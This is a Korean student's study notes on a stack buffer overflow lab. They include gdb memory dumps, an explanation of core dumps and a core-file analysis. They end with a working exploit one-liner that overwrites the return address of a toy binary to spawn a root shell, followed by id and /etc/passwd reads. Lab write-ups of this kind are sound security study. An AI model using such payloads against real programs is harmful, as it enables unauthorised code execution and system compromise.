지난 시간 수업 복습
버퍼 오버 플로우 테스트
소스코드 내용
: c언어로 char 변수를 선언한 후, 사용자 입력을 받아 출력하는 프로그램 실행
변수 크기보다 더 큰 입력값을 검증없이 출력할 경우 비정상 동작
( esp는 634이고 ebp는 648 )
a를 16개 입력했을 때 메모리 조사 결과
(gdb) x/12xw $esp
0xffffd634: 0x080485d1 0xffffd63c 0x61616161 0x61616161
0xffffd644: 0x61616161 0x61616161 0xf7e21200 0x00000001
└ ebp 위치
0xffffd654: 0xffffd6e4 0xffffd6ec 0xf7fd86b0 0x00000001
a를 20개 입력했을 때 메모리 조사 결과
(gdb) x/12xw $esp
0xffffd634: 0x080485d1 0xffffd63c 0x61616161 0x61616161
0xffffd644: 0x61616161 0x61616161 0x61616161 0x00000000
└ ebp 위치
0xffffd654: 0xffffd6e4 0xffffd6ec 0xf7fd86b0 0x00000001
(gdb) x/s $ebp
0xffffd648: "aaaaaaaa"
버퍼오버플로우로 인해 침범당한 ebp와 ret 복귀주소 등등 ...
core dump란?
프로그램의 세그먼트 폴트 등 비정상 종료가 발생했을 때
커널에서 프로세스와 관련된 메모리를 덤프시킨 파일
이 파일을 디버깅하여 문제의 원인을 찾을 수 있다
리눅스에서는 gcore라는 명령어를 사용해서 코어덤프를 남길 수 있다고 한다
자동으로 만들고자 할 때는 ulimit -a 로 서버 설정을 확인한다
core file size가 0이면 남지 않으므로 ulimit -c unlimited 명령어를 입력해서 수정.
core dump를 gdb로 분석할 예정...
core 덤프 파일은 에러를 일으킨 파일과 같은 디렉터리에 생성된다
(파일 생성 이름 규칙은 /proc/sys/kernel/core_pattern 에서 ... )
시간이 늦어서 분석은 다음에 이어함
(0614 추가)
[root@localhost ~]# gdb -q ./bof1 core.1107
Reading symbols from /root/bof1...(no debugging symbols found)...done.
[New LWP 1107]
Core was generated by `./bof1'.
Program terminated with signal 11, Segmentation fault.
#0 0x61616161 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) x/xw $esp
0xfffdf9e0: 0x61616161
(gdb) x/16xw $esp-32
0xfffdf9c0: 0x080484e9 0x080485d4 0xfffdf9cc 0x61616161
0xfffdf9d0: 0x61616161 0x61616161 0x61616161 0x61616161
0xfffdf9e0: 0x61616161 0x61616161 0x61616161 0x61616161
0xfffdf9f0: 0x61616161 0x61616161 0x00616161 0x0804a014
침범한 문자열들
# ./bof1
test function address : 0x80484f0
input string : hello
hello
# (python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1
test function address : 0x80484f0
input string : AAAAAAAAAAAAAAAA
^C
Segmentation fault
원래 공격이 되어야 하는데 왜 에러가 나는거지? 라고 생각했는데 이게 아니고
system("/bin/sh") 코드로 권한을 얻는 것이기 때문에
[root@localhost ~]# (python -c 'print("A"*16 + "\xf0\x84\x04\x08")'; cat) | ./bof1
test function address : 0x80484f0
input string : AAAAAAAAAAAAAAAA
id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
pwd
/root
head /etc/passwd
root:x:0:0:root:/root:/bin/bash
명령어를 입력하면 되는 거였다~